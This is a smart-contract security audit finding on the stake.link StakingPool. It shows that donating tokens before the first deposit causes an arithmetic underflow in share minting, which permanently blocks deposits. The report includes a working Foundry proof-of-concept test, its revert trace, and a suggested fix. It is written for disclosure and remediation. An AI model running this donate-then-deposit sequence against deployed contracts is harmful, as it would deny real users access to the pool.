Summary
The StakingPool contract allows a malicious actor to halt all deposit activities and the minting of staking tokens. This denial of service is exploitable due to an underflow error triggered during the minting of shares.
Vulnerability Details
The core issue lies in the handling of initial share minting within the StakingRewardsPool contract. During the very first mint, the contract allocates "dead shares" to the zero address to prevent vault inflation attacks. However, if the totalStaked becomes non-zero prior to legitimate deposits (e.g., through a call to donateTokens), the function getSharesByStake calculates shares using a formula that results in zero shares whenever totalShares is zero.
Specifically, in getSharesByStake, for the first intended user deposit, the return calculation follows:
https://github.com/Cyfrin/2024-09-stakelink/blob/f5824f9ad67058b24a2c08494e51ddd7efdbb90b/contracts/core/base/StakingRewardsPool.sol#L79C1-L86C6
function getSharesByStake(uint256 _amount) public view returns (uint256) {
uint256 totalStaked = _totalStaked();
if (totalStaked == 0) {
return _amount;
} else {
@>> return (_amount * totalShares) / totalStaked;
}
}
https://github.com/Cyfrin/2024-09-stakelink/blob/f5824f9ad67058b24a2c08494e51ddd7efdbb90b/contracts/core/StakingPool.sol#L433C1-L437C6
function donateTokens(uint256 _amount) external {
token.safeTransferFrom(msg.sender, address(this), _amount);
@>> totalStaked += _amount;
emit DonateTokens(msg.sender, _amount);
}
Because totalShares remains zero if donateTokens is called before the first deposit, the resultant shares are zero, causing the subsequent underflow when DEAD_SHARES is subtracted from _amount within _mintShares.
Impact
The vulnerability results in a denial of service, as the underflow triggers a contract revert whenever an initial deposit is attempted post token donation.
POC
pragma solidity 0.8.15;
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "../lib/forge-std/src/Test.sol";
import "../contracts/core/priorityPool/PriorityPool.sol";
import "../contracts/core/priorityPool/WithdrawalPool.sol";
import "../contracts/core/StakingPool.sol";
import "./MockERC20.sol";
import "./SDLPoolMock.sol";
import "./LSTMock.sol";
import "./StrategyMock.sol";
contract PriorityPoolTest is Test {
PriorityPool public priorityPool;
PriorityPool public logic;
ERC1967Proxy public priorityPoolproxy;
ERC1967Proxy public withdrawalPoolproxy;
ERC1967Proxy public stakingPoolProxy;
ERC1967Proxy public strategyMockProxy;
MockERC20 public mockToken;
LSTMock public lstMock;
WithdrawalPool public withdrawalPool;
StakingPool public stakingPool;
SDLPoolMock public sdlPool;
StrategyMock public strategyMock;
address public user = address(25);
address public feeReceiver1 = address(0xBEE1);
address public feeReceiver2 = address(0xBEE2);
uint256 public unusedDepositLimit = 5 ether;
function setUp() public {
mockToken = new MockERC20("Mock Token", "MOCK", 1000 ether);
sdlPool = new SDLPoolMock();
lstMock = new LSTMock("LST Mock", "LST", 1000 ether);
logic = new PriorityPool();
StakingPool.Fee[] memory fees = new StakingPool.Fee[]();
fees[0] = StakingPool.Fee({receiver: feeReceiver1, basisPoints: 100});
fees[1] = StakingPool.Fee({receiver: feeReceiver2, basisPoints: 200});
WithdrawalPool withdrawalPoolLogic = new WithdrawalPool();
StakingPool stakingPoolLogic = new StakingPool();
StrategyMock strategyMockLogic = new StrategyMock();
stakingPoolProxy = new ERC1967Proxy(
address(stakingPoolLogic),
abi.encodeWithSelector(
StakingPool.initialize.selector,
address(mockToken),
"stakingToken",
"SKT",
fees,
unusedDepositLimit
)
);
stakingPool = StakingPool(address(stakingPoolProxy));
strategyMockProxy = new ERC1967Proxy(
address(strategyMockLogic),
abi.encodeWithSelector(
StrategyMock.initialize.selector ,
address(mockToken),
address(stakingPool),
100 ether,
5 ether
)
);
strategyMock = StrategyMock(address(strategyMockProxy));
priorityPoolproxy = new ERC1967Proxy(
address(logic),
abi.encodeWithSelector(
PriorityPool.initialize.selector,
address(mockToken),
stakingPool,
sdlPool,
uint128(1 ether),
uint128(10 ether)
)
);
priorityPool = PriorityPool(address(priorityPoolproxy));
withdrawalPoolproxy = new ERC1967Proxy(
address(withdrawalPoolLogic),
abi.encodeWithSelector(
WithdrawalPool.initialize.selector,
address(mockToken),
address(stakingPool),
address(priorityPool),
uint256(1 ether),
uint64(1000)
)
);
withdrawalPool = WithdrawalPool(address(withdrawalPoolproxy));
priorityPool.setWithdrawalPool(address(withdrawalPool));
stakingPool.addStrategy(address(strategyMock));
stakingPool.setPriorityPool(address(priorityPool));
}
function testDOSfirstDonation() public {
uint256 initialBalance = mockToken.balanceOf(user);
mockToken.transfer(user, 100 ether);
vm.startPrank(user);
mockToken.approve(address(priorityPool), 100 ether);
mockToken.approve(address(stakingPool), 1 ether);
stakingPool.donateTokens(1);
priorityPool.deposit(50 ether, true, new bytes[](2));
vm.stopPrank();
}
}
Logs
│ │ │ │ │ └─ ← [Return] 100000000000000000000 [1e20]
│ │ │ │ └─ ← [Return] 99999999999999999999 [9.999e19]
│ │ │ └─ ← [Return] 99999999999999999999 [9.999e19]
│ │ ├─ [115001] ERC1967Proxy::deposit(0x0000000000000000000000000000000000000019, 50000000000000000000 [5e19], [0x, 0x])
│ │ │ ├─ [114560] StakingPool::deposit(0x0000000000000000000000000000000000000019, 50000000000000000000 [5e19], [0x, 0x]) [delegatecall]
│ │ │ │ ├─ [562] MockERC20::balanceOf(ERC1967Proxy: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]) [staticcall]
│ │ │ │ │ └─ ← [Return] 1
│ │ │ │ ├─ [5598] MockERC20::transferFrom(ERC1967Proxy: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], ERC1967Proxy: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], 50000000000000000000 [5e19])
│ │ │ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], to: ERC1967Proxy: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], value: 50000000000000000000 [5e19])
│ │ │ │ │ └─ ← [Return] true
│ │ │ │ ├─ [562] MockERC20::balanceOf(ERC1967Proxy: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]) [staticcall]
│ │ │ │ │ └─ ← [Return] 50000000000000000001 [5e19]
│ │ │ │ ├─ [3150] ERC1967Proxy::canDeposit() [staticcall]
│ │ │ │ │ ├─ [2755] StrategyMock::canDeposit() [delegatecall]
│ │ │ │ │ │ └─ ← [Return] 100000000000000000000 [1e20]
│ │ │ │ │ └─ ← [Return] 100000000000000000000 [1e20]
│ │ │ │ ├─ [54524] ERC1967Proxy::deposit(50000000000000000001 [5e19], 0x)
│ │ │ │ │ ├─ [54120] StrategyMock::deposit(50000000000000000001 [5e19], 0x) [delegatecall]
│ │ │ │ │ │ ├─ [27498] MockERC20::transferFrom(ERC1967Proxy: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], ERC1967Proxy: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], 50000000000000000001 [5e19])
│ │ │ │ │ │ │ ├─ emit Transfer(from: ERC1967Proxy: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], to: ERC1967Proxy: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], value: 50000000000000000001 [5e19])
│ │ │ │ │ │ │ └─ ← [Return] true
│ │ │ │ │ │ └─ ← [Stop]
│ │ │ │ │ └─ ← [Return]
│ │ │ │ └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
│ │ │ └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
│ │ └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
│ └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
└─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
Tools Used
Foundry
Recommendations
To prevent an attacker from becoming the first contributor and skewing the totalStaked logic, you can add a require statement in the donateTokens function to ensure that the donation can only occur if the totalStaked is already non-zero.
function donateTokens(uint256 _amount) external {
++ require(totalStaked > 0, "Donations can only occur after initial staking");
token.safeTransferFrom(msg.sender, address(this), _amount);
totalStaked += _amount;
emit DonateTokens(msg.sender, _amount);
}